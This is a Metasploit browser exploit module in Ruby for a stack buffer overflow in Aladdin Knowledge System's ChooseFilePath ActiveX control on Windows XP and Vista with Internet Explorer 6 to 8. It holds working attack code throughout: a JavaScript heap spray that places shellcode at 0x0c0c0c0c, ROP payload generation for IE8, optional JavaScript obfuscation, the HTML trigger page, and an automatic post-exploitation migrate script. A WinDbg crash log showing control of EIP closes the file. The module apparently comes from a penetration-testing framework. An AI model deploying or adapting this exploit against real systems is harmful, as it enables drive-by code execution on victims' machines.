##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::BrowserExploitServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "Aladdin Knowledge System Ltd ChooseFilePath Buffer Overflow",
        'Description' => %q{
          This module exploits a vulnerability found in Aladdin Knowledge System's
          ActiveX component.  By supplying a long string of data to the ChooseFilePath()
          function, a buffer overflow occurs, which may result in remote code execution
          under the context of the user.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'shinnai', # Vulnerability Discovery
          'b33f',          # Original exploit
          'sinn3r',        # Metasploit
          'juan vazquez'   # Metasploit, IE8 target
        ],
        'References' => [
          [ 'OSVDB', '86723' ],
          [ 'EDB', '22258' ],
          [ 'EDB', '22301' ]
        ],
        'Payload' => {
          'StackAdjustment' => -3500
        },
        'DefaultOptions' => {
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
        'Platform' => 'win',
        'BrowserRequirements' => {
          :source => /script|headers/i,
          :activex => [
            {
              clsid: "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}",
              method: "ChooseFilePath"
            }
          ],
          :os_name => OperatingSystems::Match::WINDOWS,
        },
        'Targets' => [
          [ 'Automatic', {} ],
          [
            'Windows XP with IE 6',
            {
              'os_name' => OperatingSystems::Match::WINDOWS_XP,
              'ua_name' => 'MSIE',
              'ua_ver' => '6.0',
              'Rop' => false,
              'Offset' => '0x5F4',
              'Ret' => 0x0c0c0c0c
            }
          ],
          [
            'Windows XP with IE 7',
            {
              'os_name' => OperatingSystems::Match::WINDOWS_XP,
              'ua_name' => 'MSIE',
              'ua_ver' => '7.0',
              'Rop' => false,
              'Offset' => '0x5F4',
              'Ret' => 0x0c0c0c0c
            }
          ],
          [
            'Windows XP with IE 8',
            {
              'os_name' => OperatingSystems::Match::WINDOWS_XP,
              'ua_name' => 'MSIE',
              'ua_ver' => '8.0',
              'Rop' => true,
              'Offset' => '0x5f6',
              'Ret' => 0x77c2282e # stackpivot # mov esp,ebp # pop ebp # retn # msvcrt.dll
            }
          ],
          [
            'Windows Vista with IE 7',
            {
              'os_name' => OperatingSystems::Match::WINDOWS_VISTA,
              'ua_name' => 'MSIE',
              'ua_ver' => '7.0',
              'Rop' => false,
              'Offset' => '0x5F4',
              'Ret' => 0x0c0c0c0c
            }
          ]

        ],
        'Privileged' => false,
        'DisclosureDate' => '2012-04-01',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
      ], self.class
    )
  end

  def ie_heap_spray(p)
    js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(get_target.arch))
    js_nops = Rex::Text.to_unescape("\x0c" * 4, Rex::Arch.endian(get_target.arch))
    randnop = rand_text_alpha(rand(100) + 1)

    # Land the payload at 0x0c0c0c0c

    js = %Q|
    var heap_obj = new heapLib.ie(0x20000);
    var code = unescape("#{js_code}");
    var #{randnop} = "#{js_nops}";
    var nops = unescape(#{randnop});
    while (nops.length < 0x80000) nops += nops;
    var offset = nops.substring(0, #{get_target['Offset']});
    var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
    while (shellcode.length < 0x40000) shellcode += shellcode;
    var block = shellcode.substring(0, (0x80000-6)/2);
    heap_obj.gc();
    for (var i=1; i < 0x300; i++) {
      heap_obj.alloc(block);
    }
    |

    js = heaplib(js, { :noobfu => true })

    if datastore['OBFUSCATE']
      js = ::Rex::Exploitation::JSObfu.new(js)
      js.obfuscate(memory_sensitive: true)
    end

    return js
  end

  def exploit_template(cli, target_info)
    if get_target['Rop']
      p = generate_rop_payload('msvcrt', get_payload(cli, target_info), { 'target' => 'xp' })
    else
      p = get_payload(cli, target_info)
    end

    spray = ie_heap_spray(p)
    target_ret = Rex::Text.to_hex([get_target.ret].pack("V"))

    html_template = %Q|
    <html>
    <object id="pwnd" classid="clsid:09F68A41-2FBE-11D3-8C9D-0008C7D901B6"></object>
    <script>
    <%=spray%>
    junk='';
    for( counter=0; counter<=267; counter++) junk+=unescape("%0c");
    pwnd.ChooseFilePath(junk + "<%=target_ret%>");
    </script>
    </html>
    |

    return html_template, binding()
  end

  def on_request_exploit(cli, request, target_info)
    print_status("Sending HTML...")
    send_exploit_html(cli, exploit_template(cli, target_info))
  end
end

=begin
0:008> g
(82c.12dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c0c0c ebx=00001d56 ecx=020b93d4 edx=00001d56 esi=00001d60 edi=020b93e8
eip=7712a41a esp=020b93bc ebp=020b93c4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
OLEAUT32!SysReAllocStringLen+0x31:
7712a41a 8b00            mov     eax,dword ptr [eax]  ds:0023:0c0c0c0c=????????
0:008> g
(82c.12dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=0c0c0c0c edx=7c9032bc esi=00000000 edi=00000000
eip=0c0c0c0c esp=020b8fec ebp=020b900c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
0c0c0c0c ??              ???
0:008> db 020bf798
020bf798  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
020bf7a8  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
020bf7b8  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
020bf7c8  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
020bf7d8  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
020bf7e8  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
020bf7f8  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
020bf808  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
=end
